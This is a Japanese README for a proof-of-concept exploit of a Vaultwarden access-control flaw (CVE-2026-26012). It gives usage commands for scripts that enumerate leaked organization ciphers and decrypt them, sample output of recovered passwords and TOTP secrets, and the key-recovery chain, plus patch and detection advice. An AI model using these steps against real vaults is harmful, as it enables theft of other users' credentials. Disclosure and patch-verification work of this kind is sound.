組織コレクション権限を無視した完全な暗号列挙
CVE-2026-26012 の概念実証エクスプロイトです。Vaultwarden (<= 1.35.2) のアクセス制御の欠陥を利用し、組織のメンバーであれば誰でも、コレクションレベルの権限に関係なく、組織内のすべての暗号を取得・復号できます。
🤖 注記: このプロジェクトは Claude 3 Opus の支援を受けて開発されました。コード生成、アーキテクチャ設計、ドキュメント作成に AI を活用しています。すべての成果物は品質保証のため手動でレビュー・テスト済みです。
| CVE | CVE-2026-26012 |
| アドバイザリ | GHSA-h265-g7rm-h337 |
| 影響を受けるバージョン | Vaultwarden ≤ 1.35.2 |
| 修正バージョン | 1.35.3 |
| CVSS 3.1 | 6.5 (中) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — 不適切な認可 |
| クレジット | 発見者: @odgrso、修正者: @BlackDex |
API エンドポイント GET /api/ciphers/organization-details は、組織のメンバーであれば誰でもアクセスできます。内部的には Cipher::find_by_org を呼び出し、組織内のすべての暗号を返した後、CipherSyncType::Organization としてコレクションレベルのアクセス制御を適用せずに配信します。
組織内のすべての暗号は同じ組織暗号化キーを共有しており(参加時に全メンバーが受け取ります)、漏洩した暗号はクライアント側で完全に復号できます。
通常の組織メンバー("Public" コレクションのみに制限)
│
├── GET /api/sync → 5 件の暗号(正常)
│
└── GET /api/ciphers/organization-details
└──→ 47 件の暗号(組織の全暗号 — バグ)
└──→ 制限されたコレクションの 42 件の暗号(漏洩)
└──→ メンバーが既に持つ組織キーで復号可能
.
├── README.md # このファイル
├── poc_cve_2026_26012.py # フェーズ 1: 暗号列挙と漏洩検出
├── poc_decrypt.py # フェーズ 2: 組織キーの復元と暗号の復号
└── LICENSE
cryptography(フェーズ 2 の復号用)argon2-cffi(対象インスタンスが Argon2id KDF を使用する場合のみ)pip install cryptography
pip install argon2-cffi # 任意
通常の /api/sync エンドポイントと脆弱な /api/ciphers/organization-details エンドポイントが返す暗号を比較し、インスタンスが脆弱かどうかを検出します。
# ブラウザで認証(SSO + 2FA 対応)後、Bearer トークンを渡します
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Bearer トークン(推奨 — SSO + 2FA 対応)
--token "eyJhbGciOi..."
# セッション Cookie
--cookie "VAULTWARDEN_SESSION=abc123..."
# 生の Cookie ヘッダー(複数 Cookie)
--cookie-header "session=abc; token=xyz"
# 直接パスワードログイン(SSO・2FA 非対応のみ)
--email [email protected] --password "MasterPassword"
Bearer トークンの取得方法:
/api/... へのリクエストを見つけ、Authorization ヘッダーの値をコピーします--no-verify-ssl # SSL 検証をスキップ(自己署名証明書用)
--show-all # 正当にアクセス可能な暗号も表示
--max-display 50 # 表示する漏洩暗号の最大数(デフォルト: 20)
--output results.json # 完全な結果を JSON にエクスポート
組織の暗号化キーを復元し、フェーズ 1 で漏洩したすべての暗号を復号します。
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
注記:
--master-passwordは Vaultwarden のマスターパスワードで、復号キーチェーンの導出にローカルで使用されます。ネットワーク上に送信されることはありません。API 認証は--tokenが担当します。
トラブルシューティング: キーの復号に失敗する場合は、
--debugを追加して各ステップの中間値を確認してください。スクリプトは自動的に 5 つの戦略(HKDF モダン、HMAC レガシー、生キー、HMAC スキップの各バリアント)を試行し、アカウントの経過年数や構成の違いに対応します。
64 バイトの組織キー(128 文字の 16 進数)を既に持っている場合:
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === キー復元チェーン ===
[1/6] KDF パラメータを取得中...
KDF: PBKDF2-SHA256, iterations: 600000
[2/6] マスターキーを導出中...
[3/6] マスターキーをストレッチ中(HKDF-Expand)...
[4/6] /api/sync から暗号化キーを取得中...
組織: ACME Corp
[5/6] ユーザー対称キーを復号中...
[6/6] RSA 秘密キーを復号中 → 組織キー...
[+] 組織キーの復元に成功しました!
[*] 42 件の暗号を復号中...
============================================================
復号結果
============================================================
合計: 42
復号成功: 42
エラー: 0
影響サマリー
復元されたパスワード: 35
復元された TOTP シークレット: 12
復元されたカード番号: 3
============================================================
組織のメンバーは全員、自分の RSA 公開キーで暗号化された組織の対称キーを既に保持しています。復号チェーンは以下のとおりです:
マスターパスワード + メールアドレス
│ PBKDF2-SHA256 または Argon2id
▼
マスターキー(32 バイト)
│ HKDF-Expand-SHA256
▼
ストレッチキー: encKey (32B) ║ macKey (32B)
│ AES-256-CBC(profile.key を復号)
▼
ユーザー対称キー: encKey (32B) ║ macKey (32B)
│ AES-256-CBC(profile.privateKey を復号)
▼
RSA 秘密キー(2048 ビット PKCS#8 DER)
│ RSA-OAEP-SHA1(profile.organizations[].key を復号)
▼
組織キー: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
復号された暗号データ
Bitwarden/Vaultwarden モデルでは、組織内のすべての暗号は同じ暗号化キーを共有します。コレクションベースのアクセス制御はサーバー側でのみ適用されます — 暗号化モデルはコレクションの境界を強制しません。組織キーを持つメンバーは誰でも、組織内の任意の暗号を復号できます。この CVE はサーバー側のフィルターをバイパスし、すべての暗号を任意のメンバーに公開します。
| 暗号タイプ | 復号されるフィールド |
|---|---|
| ログイン | ユーザー名、パスワード、TOTP シークレット、URI |
| カード | 名義人、番号、CVV、有効期限 |
| 身分情報 | 氏名、SSN、パスポート、住所、電話、メール |
| セキュアノート | ノートの全文 |
| 全タイプ | カスタムフィールド、添付ファイルのメタデータ |
直ちに Vaultwarden を 1.35.3 以降に更新してください。
docker pull vaultwarden/server:1.35.3
パッチ適用後、フェーズ 1 を再度実行して修正を確認してください — ツールは NOT VULNERABLE と報告するはずです。
マルチユーザー組織で脆弱なバージョンを実行していた場合:
/api/ciphers/organization-details への異常な API 呼び出しがないか確認しますこの PoC は、脆弱性が公開されパッチが適用された後に公開されています:
この PoC は、元のセキュリティ研究者とメンテナーの尽力なしには存在し得ませんでした:
| 役割 | 担当者 | 貢献 |
|---|---|---|
| 脆弱性報告者 | @odgrso | CVE-2026-26012 を発見し、責任を持って開示 |
| 修正開発者 | @BlackDex | Vaultwarden 1.35.3 の修正を開発・リリース |
| プロジェクトメンテナー | @dani-garcia | Vaultwarden の作者、アドバイザリとリリースを調整 |
オープンソースエコシステムの安全性向上にご尽力いただき、ありがとうございます。
この概念実証は、認可されたセキュリティテストおよび教育目的のみで提供されています。所有していないシステムをテストする前に、明示的な書面による許可が必要です。コンピュータシステムへの不正アクセスは、CFAA(米国)、Computer Misuse Act(英国)、および世界各国の同等の法律で違法とされています。著者は誤用に対する責任を負いません。
MIT — LICENSE を参照してください。